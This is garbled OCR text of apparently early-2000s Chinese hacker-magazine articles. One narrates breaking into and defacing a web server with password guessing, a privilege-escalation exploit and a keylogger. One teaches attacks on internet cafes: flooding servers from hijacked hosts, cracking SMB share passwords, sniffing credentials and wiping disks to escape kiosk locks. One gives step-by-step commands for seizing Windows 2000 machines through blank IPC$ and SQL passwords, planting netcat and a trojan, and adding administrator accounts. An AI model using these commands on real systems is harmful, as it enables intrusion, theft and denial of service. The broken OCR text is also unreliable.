“ 寒 冰 ”在 扫描 后 惊喜 地 告诉 我 , 这 台电 脑 的 系统 是

win2000 服务 器 版 本 的 《其 实在 这 件 事 上 当时 我 们 是

显得 非常 不 成 熟 的 , 如 果 线 对 所 有 下 进行 系统 分 析 ,

就 用 不 着 去 攻 前 面 的 那些 电脑 了 , 非 常 的 浪费 时

间 )。 众 所 周知 ,在 UNIX( 包 括 LINUX) 下 制作 网 页 是

非常 不 方便 的 , 而 这 台电 脑 又 是 这 一 网 段 内 (不 能 说

是 局 域 网 内 , 因为 当时 我 们 还 不 能 确定 ) 到 目前 为 止

发 现 的 惟一 一 台 Windows 系统 , 他 非常 可 能 和 双 eb

那样 的 话 ,通过 它 就 一 定 能 连接 到 Wepb 服务 器 。

确定 目标 后 , 我 和 “ 寒 冰 ” 便 对 下 27 开始 了 系统

性 的 攻击 。 由 于 对 方 的 系统 是 NT 兼容 的 , 在 我 的

LINUX 下 跑 SATAN 的 效果 往往 不 如 在 NT 下 跑 eEye

的 RETIAN, 所 以 漏洞 扫描 的 任务 就 交 给 了 “ 寒 冰 ”

(他 的 PC 是 2000 系统 的 , 而 且 在 NT 方面 , 他 比 我

强 )。 通 过 扫描 和 数据 分 析 , 发 现 它 的 23 端口 是 打开

的 ,而且 存 在 可 利用 的 “Win2000 NetDDE 消息 权限 提

升 漏洞 ">, 这 是 一 个 比较 新 的 漏洞 , 广 泛 存 在 于 Mi-

crosoft Windows 2000 Professional ,Microsoft Windows

2000 Server,Microsoft Windows 2000 Advanced Server

中 。 我 们 对 其 23 telnet 端口 进行 了 猜 密 破解 ,并 成 功

得 到 了 一 个 非 Super User 的 账号 〈 当 然 是 用 肉 机 破

的 , 不 然 我 的 小 猫 速度 慢 呀 )。 利 用 这 个 账号 login 成

功 后 , 赶快 到 2600 找到 了 一 个 “Win2000 NetDDE 消

息 权 限 提升 漏洞 ”的 exploits( 附 录 中 ), 编 译 通过 后

(在 原来 的 基础 上 增加 了 很 多 东西 ,包括 在 Super user

权限 下 把 这 个 账号 真正 注册 为 一 个 Super User 账号

的 语句 等 等 ) , 传 到 了 主机 上 . 由 于 怕 运 行 后 被 发 现 ,

我 们 选择 了 让 他 的 本 地 用 户 自 己 打开 (呵呵 , 够 交

吧 ), 悄 悄 地 把 这 个 账号 修改 为 Super user( 这 可 能 也

就 是 至 今 服务 器 管理 人 员 仍 然 不 知道 我 们 曾 进入 过

系统 的 原因 啦 ,哈哈 ), 于 是 我 们 把 它 放 到 了 这 个 用 户

的 启动 中 ,大 功 告 成 ,我 们 离开 服务 器 ,一 切 只 需要 等

待 ,呵呵 !

4 月 6 日 凌晨 ,我 们 再 次 登录 到 IP27 的 时 候 , 发

现 Kendall( 我 们 得 到 的 账号 ) 已 经 成 为 了 Super Us-

er。 马 上 连接 Web 服务 器 ,失败 ! 不 会 吧 ! 这 么 多 心

血 ,就 这 样 人

正当 我 们 失望 到 极点 ,准备 放弃 的 时 候 , 突然 想

起 : 通过 这 人 台 主 机 扫描 会 有 什么 新 的 发 现 吗 ? 于 是

二 结果 是 让 人 兴奋 的 , 通过 它 的 扫描 , 整个 网 段 内

的 卫 丰富 了 不 少 ,这 至 少 说 明 ,ITP27 一定 在 局 域 网 内

部 。 但 要 如 何 才能 连接 上 Web 服务 器 呢 ?

HIODNTYAOIY

通过 检查 Kendall 的 历史 纪录 , 发 现 所 有 的 连接

都 到 了 一 台 服 务 器 上 。 会 不 会 那 台 服务 器 是 一 个 “ 踏

板 ”? 于 是 我 们 也 试探 性 地 连接 上 了 那 台 服 务 器 ,SCO

Unixware 7. 1. 1 系统 , 使 用 Kendall 作用 户 名 , Kendall

的 密码 作为 密码 ,login, 成 功 ! 再 通过 “跳板 "连接 Web

服务 器 ,成功 ! 还 是 用 Kendall 作用 户 名 ,Kendall 的 密

码 作为 密码 ,logn, 失 败 ! 哎 ! 是 不 是 要 root 权限 才能

. 连接 呀 ? 先 想 办 法 得 到 root 再 说 。 系 统 安装 了 Tridia

DoubleVision 3. 07.00, (不 会 吧 , 和 很久 以 前 就 有

3. 07. 01 版 本 的 啦 ,还 没有 更 新 ? ) 如 果 没 有 打 补 丁 的

话 , 这 个 系统 上 应 该 存在 一 个 “Tridia DoubleVision 本

地 缓冲 区 溢出 ”的 漏洞 ,但 这 个 漏洞 是 比较 老 的 啦 ,这

样 重要 的 服务 器 应 该 不 会 没有 补丁 吧 。 不 过 也 难说 ,

万 一 系统 管理 员 认 为 这 人 台 服 务 器 不 是 Web 服务 器 ,

而 且 还 有 防火 墙 的 保护 , 而 放松 了 系统 的 定期 升级 ,

那样 的 话 ……SATAN 测试 , 耶 , 居然 漏洞 存在 ! 看 看

是 不 是 能 用 C 编译 吉 , 能 。 太 好 了 ,这 样 的 话 ,我 至 少

有 80% 的 把 握 能 得 到 root 了 ,赶快 找 exploits 吧 ! 找 到

后 上 传 ,编译 通过 ,那个 期 盼 已 久 的 “##" 终 于 出 现在 腿

前 了 ,哈哈 ! 太 好 了 ! 连接 Web 服务 器 ,成 功 ! 还 是 用

Kendall 作用 户 名 , Kendall 的 密码 作为 密码 , login, 失

败 ! 哮 , 我 还 真是 太 小 看 它 了 。 还 是 老 办 法 , 偷 。 找 了

一 个 很 简单 的 键盘 记录 程序 放 到 “中 板 ” ,并 让 它 在 每

次 登录 时 自动 运行 ,呵呵 !( 和 希望 真 的 是 使 用 这 全 主机

登录 Web 服务 器 , 如 果 不 是 这 样 的 话 , 了 鸭 鸣 鸣 鸣 鸣

数 个 小 时 后 , 我 们 回 到 “跳板 ”, 取 下 记录 文件 到

本 地 机 分 析 , 得 到 账号 XXXXXXXX, 密 码

XXXXXXXX, 连接 Web 服务 器 , login, 账号 , 密码 , 成

功 啦 ! 当 我 看 到 “人 ##" 时 , 激动 的 简直 无 法 用 语言 来 形

容 , 原来 以 为 , 进去 后 看 到 的 一 定 是 “$”, 还 要 通过 本

地 的 越权 才能 得 到 root, 没 想到 居然 直接 就 得 到 了 ,

”我 差点 儿 没 高 兴 地 从 窗口 跳 下 楼 去 。 马 上 找到 www

root 的 目录 , 把 修改 的 页 面 传 上 来 , 这 时 却 发 现 , 传 到

一 半 的 时 候 出 现 了 错误 , 始终 不 得 其 解 。 我 们 试 着 把

文件 一 个 一 个 地 传 到 服务 器 (在 这 之 前 是 采用 批量 传

送 ), 却 发 现 后 面 传送 的 文件 传 完 后 , 前 面 的 不 见 了 ,

而 且 index 文件 也 被 换 成 原来 的 啦 , 这 到 底 是 怎么 回

事 儿 呀 ?难道 它 是 采用 系统 自动 恢复 ?我 的 上 帝 , 真 的

是 啦 , 我 晕 , 我 倒 。 确 定 了 一 下 时 间 , 大 约 是 每 180 秒

钟 自动 从 后 台 主 机 恢复 一 次 。 得 到 后 台 主 机 的 卫 后 ,

我 尝试 连接 它 , 但 好 像 它 只 能 通过 本 地 单 用 户 方式 登

录 ( 也 不 太 可 能 ,那样 的 话 ,了 27 通过 其 他 电脑 连接 到

Web 服务 器 干什么 呀 ?反正 这 是 我 至 今 不 得 而 知 的 ) ,

根本 不 可 能 人 侵 的 〈 请 教 了 很 多 业内 高 手 , 也 没 能 得

到 一 个 可 行 的 办 法 )。 我们 想 尝 试 终止 Web 服务 器 对

自动 恢复 的 接收 进程 , 但 系统 的 进程 非常 乱 , 根 本 没

有 采用 正常 的 编排 方法 ,无 从 下 手 ,而 且 即 使 成 功 ,很

可 能 也 会 让 后 台 主 机 产生 错误 而 报警 的 。 更 坏 的 是 ,

如 果 Kill 掉 一 个 其 他 的 进程 , 那 就 非常 有 可 能 被 发 现

而 当场 逮 个 正 着 了 ! 所 以 , 最 终 我 们 选择 了 充分 利用

180 秒 钟 的 时 间 , 取 下 修改 后 的 页 面 图 片 , 由 人 的 做

法 。 于 是 我 把 以 前 准备 的 页 面 进行 了 大 的 改进 , 放弃

了 所 有 的 图 片 ,音乐 文件 , 改 用 文字 说 明 的 办 法 ,只 有

一 个 Heml 页 。 很 快 传送 到 Web 服务 器 ,电话 联系 “ 寒

冰 ” 取 图 。 在 走 的 时 候 ,为 了 证 明 我 们 来 过 ,呵呵 ,还 特

地 在 它 的 etc 目录 下 面 放 上 了 一 个 名 为 chinawill.o 的

文件 ,呵呵 。

至 此 ,人 侵 全 过 程 完毕 !

入侵 总 结 : 这 次 能 幸运 的 进入 其 Web 服务 器 , 其

实 很 大 程度 上 是 管理 员 ,特别 是 IP27( 各 种 迹象 表明 ,

很 可 能 真 的 是 一 台 笔 记 本 电脑 ) 的 主人 帮 了 我 们 的

忙 。 如 果 它 的 防火 墙 对 所 有 IP 进行 保护 ,并 采用 子 网

掩 码 的 话 , 我 们 基本 上 就 不 可 能 进去 了 〈 至 少 也 会 非

常 的 困难 ) 。 正 是 由 于 管理 员 和 使 用 者 为 了 方便 ,没有

对 了 27 进行 保护 ,而 且 对 IP27 给 与 予 信任 机 制 ,而 使

我 们 能 够 很 方便 地 进入 其 局 域 网 内 部 , 我 想 这 一 切 都

是 对 防火 墙 过 分 信任 造成 的 。 在 这 里 也 给 那些 使 用

了 防火 墙 的 系统 管理 员 提 个 醒 。 而 且 ,IP27 的 主人 在

台 主 机 上 采用 相同 的 账号 和 密码 , 这 也 是 我 们 能

很 快 接近 Web 服务 器 的 原因 〈 但 他 还 是 作 了 必要 的

防备 啦 , 登 录 Web 服务 器 的 密码 不 但 和 登录 跳板 的

不 同 , 而 且 是 非常 复杂 的 , 全 面 用 上 了 “! @ 霸 %

^ 人 yx "这 类 的 符号 ,要 是 猜 的 话 ……)。 再 就 是 ,了 27

的 主人 认为 这 人 台电 脑 不 能 直接 连接 Web 服务 器 , 而

降低 了 对 它 登 录 密码 的 安全 性 , 让 我 们 通过 23 端口

很 容易 地 猜 到 了 一 个 可 以 进入 的 密码 , 而 且 后 来 证

实 , 这 个 账号 也 就 是 IP27 主人 经 常 使 用 的 账号 , 这 一

切 都 是 人 为 造成 的 漏洞 。 在 此 , 我 强烈 建议 关闭 23

telnet 端口 服务 , 至 少 采用 更 强 的 密码 ; 网 管 应 该 让 防

火 墙 对 同一 个 局 域 网 内 所 有 的 电脑 进行 保护 , 而 且 最

好 只 留 一 个 对 外 通道 , 也 就 是 防火 墙 那儿 啦 , 而 对 其

他 所 有 的 电脑 采用 子 网 的 方式 连接 , 那样 虽然 性 能 上

差 一 些 ,但 安全 性 绝对 要 好 很 多 的 ! ”多

大 家 是 不 是 经 常 到 网 吧 上 网 , 对 于 老板 的 服务 态

度 可 谓 是 “深恶痛绝 ”( 至 少 笔者 学 校 附近 的 是 这 样

的 )。 所 以 笔者 写 了 对 于 网 吧 的 攻防 的 文章 ,这 里 对 于

局 域 网 也 有 效 。 由 于 笔者 也 是 初学 , 所 以 说 的 不 对 之

处 还 要 叫 大 家 纠正 。

1.NAT 软件 的 漏洞

在 网 吧 使 用 最 多 的 还 是 一 些 第 三 方 软件 , 网 吧 的

老板 用 这 些 软件 来 使 得 大 家 共享 互联 网 。 常 见 的 有

Sygate 和 Wingate。

Sygate 的 攻击 很 简单 ,在 它 的 某 些 版 本 中 存在 一

个 隐藏 的 管理 端口 : 7323. 出 于 安全 考虑 , 这 个 端口

只 允许 从 内 部 局 域 网 连接 。 如 果 内 部 网 中 有 机 器 开 了

RAS 服务 , 外 部 网 络 中 的 主机 也 可 能 访问 到 这 个 端

口 。 任 何 局 域 网 用 户 都 可 通过 这 个 端口 终止 sygate 的

NAT 服务 , 挂 断 或 重新 拨号 而 不 需要 口令 。

我 们 在 这 里 选择 P ,就 停止 了 sygate 的 工作 了 。 这

个 漏洞 在 远程 也 可 以 利用 。 好 像 还 有 个 叫 网 吧 杀 手 的

软件 ,就 是 利用 这 个 来 攻击 的 。

Wingate3. 0 的 攻击

1) 攻 击 者 可 以 远程 读 取 系 统 文件 ;

任意 用 户 都 可 以 通过 类 似 如 下 的 URL 读 取 系

统 文件 :

http: /7/ www. server. coml

Win9x

http: / /www. server. com: 8010/A - NITZWin9x

http: / /www. server. com: 8010/..../ - Win9x

2)WinGCate 服务 器 易 受 到 拒绝 服务 攻击 ;

Winsock 重 定向 服务 被 绑 定 在 2080 端口 上 , 连接

到 这 个 端口 ,发 送 超过 2000 Byte ,然后 中

断 连 接 , Winsock 将 停止 服务 ;

3)WinCate 3. 0 使 用 弱 加 密 的 密码 ;

WinGCate 的 密码 至 今 过 简单 加 密 后 就 存放 在 注册

表 中 ,任意 用 户 都 可 以 读 取 它 ,并 且 很

容易 解密 . 解密 程序 如 下 :

8010《Lc: 7 - NT/

|

|

RE

了 kaamkaim

在 WinGCate 的 服务 设 定 中 限制 访问 地 址 , 只 提供

服务 给 确定 可 信 的 客户 。

2. 对 于 网 吧 服 务 器 的 卫 .O.S( 拒

绝 服 务 ) 攻 击

由 于 笔者 附近 的 网 吧 条 件 很 差 , 用 作 代 理 的 服务

器 系统 都 是 Win 98。 有 一 日 笔者 在 家 里 上 网 ,正好 同

学 网 吧 。 那 时 正好 是 中 美 黑客 大 战 的 高 峰 时 期 , 笔者

的 手 底下 也 正好 有 大 量 的 台湾 和 日 本 的 服务 器 , 很 多

都 是 3389 输入 法 漏洞 的 得 到 的 系统 Admin。 突 发 奇

想 ,同学 在 的 网 吧 平 常 要 价 很 高 ,服务 很 差 ,老板 又 是

有 名 的 音 避 鬼 。 何 不 利用 肉鸡 给 它 来 的 D. 0. $ 呢 。 于

是 笔者 准备 了 5 台 Win 中 断 服 务 的 肉鸡 ,每 个 都 装 上

了 发 ICMP 数据 包 的 软件 (考虑 到 台湾 服务 器 的 速度

的 狂 野 , 笔 者 装 的 是 最 暴力 的 ICMP 的 软件 , 就 是 可

以 用 1000 个 线程 的 那 种 )。 准 备 就 绪 了 ,发射 。 大 量 的

数据 堵塞 了 网 吧 的 139 端口 , 再 加 上 98 自身 的 漏洞 ,

服务 器 不 等 反应 过 来 就 当 机 了 。

对 于 装 了 防火 墙 的 主机 , 防 火 墙 拦 截 IGMP 的 数

据 包 的 。 不 过 软件 防火 墙 本 身 占 用 系统 资源 , 如 果 大

量 的 需要 判断 的 报 文 发 送 过 去 , 是 不 是 会 导致 DoS

呢 ?

3。 网吧 SMB 共享 的 漏洞

Windows SMB 被 叫做 “文件 和 打印 共享 ”, 它 允 许

你 访问 共享 被 其 他 用 户 许 可 的 文件 和 文件 夹 。 基 于

Windows 95,98 或 Windows Millenium 的 共享 ,即使 你

加 了 密码 也 是 不 安全 的 ,利用 这 个 共享 ,你 可 以 得 到

从 游戏 到 信用 卡号 码 , 音乐 或 数据 库 ,, 甚至 任何 你 想

要 的 信息 。

当 你 知道 网 吧 是 SMB 共享 时 , 在 运行 窗口 中 键

人”“\Nip”, 按 回 车 ,之 后 等 待 。 完 成 后 将 出 现 一 个 带 共

享 名 的 文件 夹 。 如 果 它 出 现 了 一 些 像 “不 共享 ”TIP 地

址 连接 不 上 ”等 , 就 是 没 成 功 了 。 也 可 以 下 载 SMB-

Scanner( http: / /www. cners. com/tools/smbscan-

ner. zip) ,来 扫描 这 样 的 主机 。

如 果 人 家 要 密码 的 ,Windows 95,98 ,and Mille-

nium 有 个 “速度 破解 漏洞 。 打 开 “ 和 运行” 窗口 ,输入

“command” 如 果 你 在 用 WindowsNT/2000 的 话 请 输入

“emd” 打 开 一 个 命令 窗口 , 键 人 “nbtstat -aipaddress?”

(帮助 文档 情况 请 键 人 “? ”) 你 将 看 到 如 下 的 输出 :

最 靠 前 的 名 字 是 NetBIOS name (MATRIX) , 第 六

行 的 是 用 户 名 , 注意 : 请 记 好 NetBIOS name! , 我 们 将

用 它 破解 共享 名 文件 夹 的 password。

下 载 , 然 后 打开 PQwak( htp://

wwWw. cners. comVtools/PQwak. exe) 。

-~ -在 NBMAME 右面 输入 nbtstat 中 显示 的 Net-

BIOS name

- -在 SHARE 栏 里 输入 受 密码 保护 的 共享 文件

夹 名 。

- -在 了 琴 栏 里 输入 耳 地 址 (期望 我 们 找到 的 对

象 在 用 DSL 或 长 时 间 上 网 , 和 否则 我 们 做 了 那么 多 后 ,

他 下 线 了 , 岂 不 是 ! 手 儿 和 )

- -设置 DELAY, 要 看 你 的 连接 方式 , 如 果 你 用

56k 的 小 猫 的 话 ,建议 把 DELAY 设置 在 1000 - 2000,

如 果 你 用 ADSL 的 话 ,建议 在 800 - 900。

运行 PQwak, 不 会 让 您 浪费 很 长 时 间 , 完成 后 返

回 到 受 密 码 保护 的 共享 文件 夹 , 打开 它 , 当 它 要 网 络

密码 时 , 将 PQwak 里 的 密码 拷贝 下 来 , 再 粘贴 到 密码

对 话 框 ,然后 Do what you exactly want to dol

注意 : 如 果 你 运行 PQwak 后 出 现 “the password is

.a ”or the password is wrong”, 请 将 DELAY 数值 调 高 。

4. 明文 密码 的 堆 获

网 吧 就 是 个 局 域 网 , 有 人 说 局 域 网 根本 没有 安全

可 言 , 什么 数据 都 广播 。 利 用 这 个 我 们 可 以 截获 一 些

密码 的 明文 , 例如 :POP3, FIP, TELNET 的 密码 ,早期

的 协议 没有 考虑 到 网 络 的 安全 性 , 密码 都 是 明文 在 网

上 裸奔 。 用 Netxary 能 截 包 软件 就 很 容易 得 到 别人 的

密码 。 这 里 截 包 软 件 不 多 说 了 ,请 看 相关 的 教程 。 值 得

一 提 的 是 Foxmail 的 邮件 监视 器 ,简直 就 是 定时 发 送

口令 明文 ,用 NetXray 抓 从 Client 到 Server 包 , 指定 过

滤 PASS 关键 字 ,非常 清楚 。

5. 美 萍 等 软件 的 破解

是 软件 就 有 正版 和 盗版 之 分 , 同样 美 薄 又 有 注册

和 未 注册 之 分 , 同 样 是 注册 的 美 萍 又 有 限制 级 别 之

分 。 不 过 对 于 我 们 呢 , 就 具有 好 破 的 和 不 好 破 的 两

种 。 言 归 正 传 , 想 要 自由 最 重要 的 几 个 工具 就 是 :

Control, exe, Regedit. exe, Msconfig. exe. 有 了 这 几 种 神

兵 利 器 你 还 不 是 想 干什么 就 能 干什么 。 工 具 是 要 用 ,

可 是 人 家 不 让 怎么 办 ? 小 生 主 要 是 通过 以 下 几 种 办

法 :

〇 利用 地 址 栏

在 美 薄 中 限制 最 差 的 只 要 在 下 的 地 址 栏 里 敲 人

fle: /V/ALe: /windowsVcontrol. exe 就 可 以 调 出 控制 面

板 。 如 果 是 巴 INDOWS98,, 那么 点 一 下 向 上 的 按 纽 就

可 以 调 出 我 的 电脑 。 如 果 是 WINDOWS95 就 请 试 试

EXPLORER.EXE 吧 ,不 过 好 像 不 大 管用。

@ 利 用 文件 下 拉 荣 单

点 一 下 焉 的 文件 下 拉 菜 单 , 点 一 下 打开 , 氮 一 下

浏览 , 是 不 是 什么 文件 都 可 以 看 见 ? 选择 你 想 要 的 文

件 , 点 一 下 确定” ,可 以 吗 ?

如 果 不 行 请 把 “以 WEB 文件 夹 方式 打开 ”的 单 选

框 选 上 再 试 一 次 , 这 时 会 跳出 一 个 提示 框 : 下 无 法 将

” 某 文件 作为 WEB 文件 夹 打开 。 是 否 按 默认 方式 查看 ?

选取 “是 ”, 会 跳出 文件 下 载 提 示 框 , 询问 如 何 处 理 该

文件 , 点 一 下 “在 当前 位 置 运行 该 程序 " 单 选 框 , 点 一

下 “确定 ”, 会 出 现 一 个 安全 设置 警告 提示 框 , 再 点 一

下 “是 ”, 你 就 可 以 运行 该 程序 了 。 什 么 ,没有 反应 ? 那

就 只 好 再 深 人 一 步 ……

9 利用 邮件 编辑 器

随便 打开 一 个 网 址 , 例如 网 易 的 主页 。 页 面 的 最

下 端 有 一 个 “联系 我 们 ?超级 链接 。 点 一 下 会 跳出 邮件

编辑 器 OUTLOOK 或 是 FOXMAIL。 有 什么 用 ?选取 加

入 附件 ,浏览 选 定 ,然后 点 一 下 它 ,一 定 可 以 运行 。

如 果 控 制 面 扳 和 注册 表 编 辑 顺 被 禁用 了 ? 那么 请

试 试 MSCONKIG. EXE. 点 一 下 诊断 启动 单 选 框 , 点 一

下 “确定 ,下 一 次 启动 时 就 不 会 加 载 美 萍 。

在 极 少数 的 情况 下 连 MSCONFIC. EXE 都 被 禁用

了 ,那么 用 NOTEPAD.EXE 导 人 注册 表 文 件 的 方法 解

开 控制 面 扳 和 注册 表 编 辑 器 . 用 NOTEPAD. EXE 新

建 一 个 文本 文件 , 把 下 面 的 内 容 打 进 去 ,把 文件 的 扩

展 名 * .TXT 另存 为 x .REG, 然 后 双击 该 文件 , 点

“是 ”就 可 以 导 人 注册 表 。

如 果 NOTEPAD. EXF 也 被 禁用 了 ??

急 利 用 安全 模式

没关系 , 要 是 你 不 想 再 上 网 了 , 我 们 还 有 一 个 法

宝 : 安 全 模式 !

重新 启动 计算 机 在 “STARTINGC WINDOWS 人

后 按 住 CTR 键 会 出 现 启动 菜单 。 如 果 没 有 , 那 是 C:、

MSD0OS. SYS 文件 中 BOOTKEY =0 了 。 看 到 蓝天 白云

了 吗 ? 快 按 主机 上 的 RESET 键 ,再 次 重启 ! 什么 ,主机

被 锁 在 柜子 里 ?你 不 会 用 CTR + ALT + DELI! 这 次 会 出

现 启动 菜单 并 解释 因为 系统 启动 时 出 错 , 要 求 进入 安

全 模式 , 那 就 进 吧 。

进去 看 一 看 ,哎呀 ! 连 安全 模式 里 都 有 美 萍 ? 真是

道 高 一 尺 , 魔 高 一 丈 。 难 道 说 真 的 就 滴水 不 漏 ?这 人 台 计

算 机 上 也 许 会 有 一 个 高 级 用 户 吧 。

马 利 用 DOS 实 模式

重新 启动 进入 DOS 实 模式 ,DEL C: \WINDOWSA'

x .PWL. 把 其 它 的 用 户 都 干掉 你 不 就 是 最 高 级 的 ? 蛤

还 是 不 行 吗 ? 那么 别 怪我 不 客气 了 ! 在 DOS 实 模

式 下 DELTREE C:\、SMENU 或 者 是 FORMAT C: ZQ7

U. 如 果 没 有 外 部 命令 FORMAT 和 DELTREE , 那 有

DEL 吧 ? 什么 什么 , 连 内 部 命令 DEL 都 没有 , 那 一 定

是 DOSKEY 命令 宏 搞 的 鬼 。 在 DOS 提示 符 下 列 人 SET

查看 一 下 。 把 该 改 的 都 改过 来 , 例 如 : “DOSKETY

DEL = “就 可 以 解除 。 ”多

2001 年 5 月 4 日 ,20 点 中 国 红 客 联盟 的 红 客 利

用 拒绝 服务 手段 使 得 白宫 的 网 站 无 法 访问 达 4 个 小

时 。 红 客 们 使 用 的 就 是 肉鸡 。 中 国 黑 客 把 自己 开 了 后

门 的 主机 叫做 肉鸡 或 跳板 , 一 般 肉 鸡 都 具有 速度 快 ,

攻击 后 不 易 被 发 现 等 特点 , 所 以 一 直 受 过 大 黑客 喜

爱 。 下 面 劲 刀 狂 舞 就 讲 讲 Windows 2K 肉鸡 获得 过

. 程 。

微软 实在 是 太 可 爱 了 , 漏洞 惊 报 不 断 , 我 这 里 不

是 在 总 结 , 只 是 写 点 攻击 人 k 方法 。 毕 竟 我 们 不 是 搞 破

坏 的 , 只 是 想 搜集 肉 鸡 而 已 。 我 下 面 介绍 用 4 个 最 简

单 的 漏洞 得 到 管理 员 权 限 。

1. ipe 空当 连接

2. SQL Server 空 密码

3. 远程 终端 输入 法 漏洞

4. IIS ISAPI Printer 远程 溢出

MS -Windows 2k 必需 的 操作 系统

流光 IV( 或 流光 2001) 小 榕 的 著名 漏洞 扫描 器

MS - SQL Exec for NetHackerII( 或 者 MS - SQL)

用 来 连接 MS - SQL

终端 服务 客户 端 连接 终端 服务 客户 端 , 可 以 访

问 运行 ”终端 服务 的 服务 器

ShadowScan( 或 者 其 他 网 络 工具 箱 ), 扫描 网 络 指

定 主机

冰河 2. 2( 或 其 他 大 家 熟悉 的 木马 )

pscan. exe pscanIIS ISAPI Printer 远程 滋 出 扫描

需 ,100 个 线程 , 适 于 在 肉鸡 上 使 用 cniis. exe 僚 瓜 形

的 pscanJIIS JSAPI Printer 远程 溢出 程序 , 使 用 后 建立

一 个 用 户 名 密码 都 为 hax 的 admin 账户 第 二 步 主机

扫描 ;

我 们 首先 选择 一 段 让 地址: xxx. xxx. xx. xx( 马

赛 充 处 理 ), 先 用 流光 扫描 一 下 nt 的 多 少 。

方法 :

从 菜单 【探测 】 - >【 扫 描 POP3ZFTPZNT] 主机 ,

或 者 直接 按 Ctrl + rz-> 输入 一 段 瑟 地址 ,扫描 主机

图 1

类 型 选择 NTZ98 - > 确定 ,如 图 1

不 久 就 会 在 正 C$ 主 机 下 出 现 一 些 主机 , 然 后 将

在 "下 C$ 主 机 ”条目 上 点 右键 弹出 荣 单 。 首 先 我 们 需要

从 主机 得 到 一 个 用 户 列 表 , 所 以 选择 “探测 所 有 IPC

$ 用 户 列表 "一 项 。 然后 如 图 2 选择 :

图 2

经 过 探测 我 们 成 功 得 到 了 若干 管理 员 的 用 户 名

和 密码 , 我 们 以 成 功 地 扫描 到 xxx. xxx. xxx. xxx 的 一

个 具有 Administrator 权限 用 户 Administrator 的 密码 为

空 为 例 远 程 登陆 。

NT 远程 登陆 的 命令 行 语 法 , net use <\\IP Ad-

dress \IPC$> ”password”]

< /user: ”username”>

退出 登陆 的 语法 : net use < <\\VIP Address\IPC

$> /delete

登陆 成 功 之 后 先 复 制 一 个 Telnet 的 程序 上 去

(NetCat, 在 这 里 我 改 为 Srv. exe) , 这 个 程序 是 在 NT

上 面 开 一 个 Telnet 服务 , 端口 是 99, 软件 在 流光 目录

下 的 tools 文件 夹 里 。 我 们 把 冰河 改名 服务 端 G_server

加 到 tools 文件 炎 里 。

打开 cmd

和 输入; net use \NV3oCX. XXX. XXX XXX Nipc 和 ””/user:

Administrator 回 车

返回 :命令 成 功 完成

输入 :copy \tools \srv. exe \\3occ. 0. CC. XXX ad-

min 和 \system32

copy \tools \C_server. exe \\XXX. XXX. XXX. XXX \ad-

min 委 \system32

返回 :已 复制 一 个 文件

输入 :net time \ Nocx. XXX. XXX XXX

返回 一 个 时 间 ,例如 :上 午 3:25

输入 :at \ cxx. xxx. Jo XXX 3: 27 STV. exe

返回 :新 增 了 一 项 作业 ,其 作业 ID =1

等 到 了 3:27

输入 :telnet xx. xcc. ocx xcc 99

返回 :成 功 信息

输入 :G_server. exe

我 们 就 这 样 种 下 了 冰河 给 目标 机 器

SQL Server 是 运行 于 NT 平台 上 的 数据 库 , 通 党

采用 Is 作为 Web Server 的 NT 服务 器 均 采 用 SQL

Server 作为 数据 库 服务 器 。SQL 2000 以 前 的 版 本 在 默

认 安 装 时 的 密码 均 为 空 , 如 果 网 管 在 安装 时 没有 配置

用 户 密 码 , 无 疑 会 给 我 们 留 下 一 个 后 门 。 以 下 简单 说

我 们 也 可 以 用 流光 IV( 或 流光 2001) 扫描 一 段 地

址 ,例如 图 3:

图 3

当 用 户 的 密码 设置 为 空 , 或 过 于 简单 时 ,得 到 如

下 的 结果 :如 图 4

点 击 [工具 ] -> SQL 远程 命令 (或 者 直接 用

Ctrl +Q) , 填 人 主机 用 户 、 密 码 等

值得 注意 方法 一 需要 安装 SQL Server, 但 是 使 用

SqlExec 就 不 需要 SQL Server 的 支持 了 。

SA 的 权限 相当 于 系统 的 超级 用 户 权限 , 我 们 可

以 用 这 个 命令 行 模式 添加 用 户 ,具体 命令 如 下 :

加 入 一 个 用 户 heihoo ,密码 为 heihoo. com.

输入 :net user beihoo heihoo. com /add

显示 :命令 成 功 完成

将 heihoo 加 入 Administrator 组

net localgroup administrators heihoo /add

这 样 我 们 又 得 到 了 一 个 aamin 权限 。 在 根据 ipe

共享 来 控制 目标 主机

如 果 使 用 SqlExec 也 很 简单 界面 如 图 5:

et 二 全 HR 中

[9

ja ob no up

mg =

2 多。

a

顺便 说 一 句 流光 IV 可 以 检测 到 MySQL 的 弱 密

码 , 我 们 通过 这 个 可 以 查询 数据 库 中 的 所 有 信息 ,不

过 得 不 到 root 权限 。 想 更 多 的 了 解 , 请 查阅 相关 资

料 。http: //www. mysql. com 这 一 讲 就 写 到 这 里 ,我 们

今天 学 习 了 有 关 win2k ipc$ 共 享 的 入 侵 方法 和 ms -

sql 空 密码 的 入 侵 方法 。 还 应 该 掌握 net 命令 的 格式 。

下 一 讲 我 将 介绍 关于 win 2k unicode 漏洞 利用 和 HS-

API Printer 远程 溢出 漏洞 的 利用 。 人

肉鸡 , 跳 板 在 黑客 技术 交流 中 出 现 的 频率 很 高 ,

其 实意 思 都 差不多 , 黑 客 为 了 更 好 的 隐蔽 自己 的 行

踪 ,就 通过 跳板 来 隐藏 自己 。 当 他 成 功 人 侵 一 台 主 机 ,

那么 系统 中 留 下 的 便 是 跳板 的 地 址 , 如 果 他 采取 多 重

跳板 的 话 ,一般 是 很 难 查 到 黑客 的 真正 位 置 的 。 做 跳

板 的 方式 很 多 , 不 同 的 系统 有 不 同 的 方法 , 下 面向 大

家 介绍 一 下 黑客 利用 Server2000 的 肉鸡 来 制作 跳板 ,

或 者 说 是 代理 , 其 实 代 理 不 光 对 黑客 有 帮助 , 对 一 般

的 网 友 也 是 有 用 的 , 通过 代理 我 们 可 以 提高 我 们 上 网

的 速度 , 扩大 上 网 的 浏览 的 范围 , 具体 怎么 样 就 不 做

介绍 了 。 闲 话 少 说 , 那么 黑客 怎么 来 实现 这 一 技术 的

呢 。 上 听 我 慢 慢 道 来 。

首先 用 扫描 器 在 网 上 寻找 Server2000 的 主机 , 因

为 这 样 的 系统 在 网 上 比较 多 , 本 人 就 曾经 扫描 过 人 台湾

的 某 个 域 , 不 到 一 分 钟 可 以 扫 出 一 大 堆 。 一 般 黑 客 经

常用 的 扫描 器 是 Supperscan, 这 个 扫描 器 非常 的 轻巧 ,

扫描 速度 也 很 快 。 拉 上 Supperscan 在 某 个 域 里 面 扫描

3389, 80, 两 个 端口 。 你 也 可 以 自己 试 一 下 , 当然 不 能

做 非法 的 事情 ,Server2000 的 主机 的 确 很 多 。

那么 为 什么 要 扫描 这 个 两 个 端口 呢 ,3389 是 终

